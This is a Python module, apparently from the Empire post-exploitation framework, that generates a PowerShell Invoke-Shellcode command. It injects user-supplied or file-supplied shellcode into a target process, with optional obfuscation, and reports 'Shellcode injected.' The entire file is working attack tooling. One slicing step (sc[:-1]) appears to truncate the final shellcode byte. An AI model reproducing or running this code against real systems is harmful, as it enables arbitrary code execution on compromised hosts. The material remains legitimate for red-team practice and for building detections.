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invoke_shellcode.py
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invoke_shellcode.py
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import base64
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
# read in the common module source code
script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
)
script_end = "\nInvoke-Shellcode -Force"
for option, values in params.items():
if (
option.lower() != "agent"
and option.lower() != "listener"
and values
and values != ""
):
if option.lower() == "shellcode":
# transform the shellcode to the correct format
sc = ",0".join(values.split("\\"))[0:]
script_end += " -" + str(option) + " @(" + sc + ")"
elif option.lower() == "file":
data = base64.b64decode(params["File"].get_base64_file())
sc = ",".join([f"0x{byte:02x}" for byte in data])
script_end += f" -shellcode @({sc[:-1]})"
else:
script_end += " -" + str(option) + " " + str(values)
script_end += "; 'Shellcode injected.'"
script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)
return script